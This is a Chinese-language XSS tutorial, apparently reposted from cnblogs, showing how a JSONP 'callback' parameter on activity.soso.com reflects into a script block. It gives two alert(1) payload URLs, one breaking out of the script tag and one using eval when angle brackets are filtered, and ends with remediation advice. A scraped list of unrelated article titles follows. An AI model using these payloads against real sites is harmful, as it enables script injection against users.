1. 我们找到这么一个点,也是输入和输出都未过滤的一个点。相比教程第一例,其特殊之处在于,是输出在了 <script>[输出]</script>之间。

http://activity.soso.com/common/setParentsInfo.php?callback=aaaaaaaaa

如下图:callback参数未做过滤。 在【查看源代码】下,我们可以看到。

缺陷网页源代码:

<script type='text/javascript'>document.domain='soso.com';_ret={"_res":2};try{parent.aaa(_ret);}catch(err){aaa(_ret);}</script>

2. 碰到这种情况,我们一般有以下解法。

2.1 首先判断,是否过滤了 < , > , / 等符号,

2.2 如果都没有过滤,恭喜你,一般可以直接XSS了。代码如下:

http://activity.soso.com/common/setParentsInfo.php?callback=aaaaaaaaa</script><script>alert(1)</script>

原理入下图:

构造callback参数后的源代码
<script type='text/javascript'>document.domain='soso.com';_ret={"_res":2};try{parent.aaaaaaaaa</script><script>alert(1)</script>(_ret);}catch(err){aaaaaaaaa</script><script>alert(1)</script>(_ret);}</script>

2.3 如果过滤了 <, >,那么就无法使用上面的办法了。我们接着看 3

3. script代码里的构造。

友情提示:这里可能需要一点点 javascript 的知识才行哦~~

我们可以如下构造:

http://activity.soso.com/common/setParentsInfo.php?callback=eval('alert(1)');void

可以看到,源代码是下面的样子。

也就是说,我们插入的内容,使得这一段javascript依然【语法正确】,能够【正确执行】,并且能够执行【我们所插入的JS代码】,这样我们的目的就达到了。

构造后的源代码如下:

<script type='text/javascript'>document.domain='soso.com';_ret={"_res":2};try{parent.eval('alert(1)');void(_ret);}catch(err){eval('alert(1)');void(_ret);}</script>

4. 这种输出在JS代码里的情况十分常见,但是呢?不幸的是,像这样没过滤的情况,却不是很常见。例如:

var a="[输出]"; // 通常程序员会把 " 过滤掉, 这样的话,一般来说,我们就很难构造。

但是,这并不是说,就一定是不能利用,后面我们会拿腾讯一些【比较有意思】的例子,来进一步说到 这个【输出在js里】的情况的~

修复方案:

这类XSS的模型通常是:

<script>...[输出]...</script>

<style>...[输出]...</script>

解决方案:

1. 过滤 </xxx> 组合

2. 针对输出在不同的场景,进行合适的过滤。

转载于:https://www.cnblogs.com/milantgh/p/3603655.html

xss实例-输出在script/script之间的情况相关推荐

  1. 面向过程和面向对象的编程思想 复习原型 构造函数和实例对象和原型对象之间的关系

    体会面向过程和面向对象的编程思想 <!DOCTYPE html> <html lang="en"> <head><meta charset ...

  2. java当中有关循环的代码_有关Java循环的内容,编程中还是比较常用的,下面分享给大家几个循环的示例代码,练习一下。1、循环输出1到100之间所有能被3或能被4整除的数。pack...

    有关Java循环的内容,编程中还是比较常用的,下面分享给大家几个循环的示例代码,练习一下. 1.循环输出1到100之间所有能被3或能被4整除的数. package com.hz.loop02; /** ...

  3. 创建一个简单的存储过程(RroGetA_Z),要求输出A到Z之间的26个大写字母

    <SQL Server数据库设计与项目实践> ISBN:978-7-302-40610-5 p121 动手实践-实训内容-(1) (1)创建一个简单的存储过程(RroGetA_Z),要求输 ...

  4. 【Python】青少年蓝桥杯_每日一题_11.03_按要求输出两个正整数之间的数

    编程实现 分别输入两个正整数 M.N,输出 M 到 N 之间(含 M.N)所有可被 7 整除,但不是 5 的倍数的数, 并以逗号分隔按顺序打印在一行. 输入描述:分别输入两个正整数 M.N 输出描述: ...

  5. C语言试题四之计算并输出3到n之间所有素数的平方根之和

    1.题目 请编写函数function,它的功能是:计算并输出3到n之间所有素数的平方根之和 例子:若我们main函数从键盘给n输入5之后,我们需要输出结果为3.968119 输入值n的要求:正整数n, ...

  6. (c语言)输出1到100之间的所有素数

    (c语言)输出1到100之间的所有素数(函数实现) 方法一: //输出1-100之间的所有素数要求编写函数(函数实现) #include<stdio.h> #include<stdl ...

  7. python2到100的素数_python输出2到100之间的素数

    目的: 计算2-100之间素数的个数,返回结果 什么是素数? 素数是指在大于1的自然数中,除了1和它本身以外不再有其他因数的自然数. 代码实现:# 定义一个列表接受返回的质数 list_num = [ ...

  8. Day 7 输出m到n之间的素数

    // 素数问题.输入两个正整数m和n(1<=m<=n<=500) //输出m和n之间的全部素数,每行输出10个. //使用嵌套循环解决该问题 #include<stdio.h& ...

  9. php 10到50的随机数,【单选题】php中以下能输出1到10之间的随机数的是( )

    [单选题]php中以下能输出1到10之间的随机数的是( ) 更多相关问题 肺动脉根部有回声失落见于A.室间隔缺损B.房间隔缺损C.动脉导管未闭D.法洛四联症E.主动脉窦瘤破裂 在人的决策过程中,备选方 ...

最新文章

  1. php7 $this-,在PHP中如何为匿名函数指定this?
  2. excel表格在保存时出现“隐私问题警告提示”
  3. 《SAP入门经典(第4版•修订版)》——2.5 4种视角相互结合
  4. python settings模块导入不了_无法导入设置“myproject.settings”(是否在sys.path上?):没有名为pinax的模块...
  5. golang return要返回的参数太多_Golang中的Defer必掌握的7知识点
  6. Android基础 写给新手的Android环境配置
  7. 关于在平台中设置系统全局变量的使用和场景
  8. Android 比SwipeRefreshLayout更漂亮和强大的下拉刷新控件:Android-MaterialRefreshLayout
  9. 如何实现混合线性模型?
  10. Python读取excel文件数据并画柱状图
  11. 评价微型计算机有哪些主要性能指标,计算机性能指标有哪些
  12. JSP传参 input隐藏域
  13. Flutter设置App的应用名字和应用logo图标的方法(android ios web)
  14. 包无法进行更新、相关性或冲突验证。 (Exception from HRESULT: 0x80073CF3)的解决办法
  15. ios可视化编程 UI高级 UI_13
  16. 什么是web前端?前端可以做什么?html5有什么用?
  17. 用VBA代码下载网络上的文件
  18. 电脑桌面壁纸更换后不一会就变成黑屏
  19. iOS 开发工具整理
  20. coj_1224: ACM小组的古怪象棋

热门文章

  1. 如何在ubuntu下安装detectron2_Anaconda中安装Cascade RCNN(Detectron)的若干问题
  2. python 栈和队列_Python实现栈和队列的简单操作方法示例
  3. 100 个网络基础知识普及,看完成半个网络高手! 【厦门微思网络】
  4. office文件已损坏 该服务器,Office文件可能已损坏处理方法
  5. 0098 高级程序设计 c语言 在线作业,中国大学MOOC(C语言程序设计精髓)作业
  6. mybatis 无法初始化类_从零开始手写 mybatis(一)MVP 版本
  7. agv matlab应用,简单介绍一下agv调度控制系统常见的软件应用
  8. mysql支持UUID做外键_Mysql中以uuid为外键插入多条数据,怎样实现同一个二级分类外键关联的数据为同一个uuid的值...
  9. chrome 获取硬件信息_在tinycolinux上安装chrome
  10. 计算机体系结构:嵌入式方法_计算机考研——计算机二级学科详解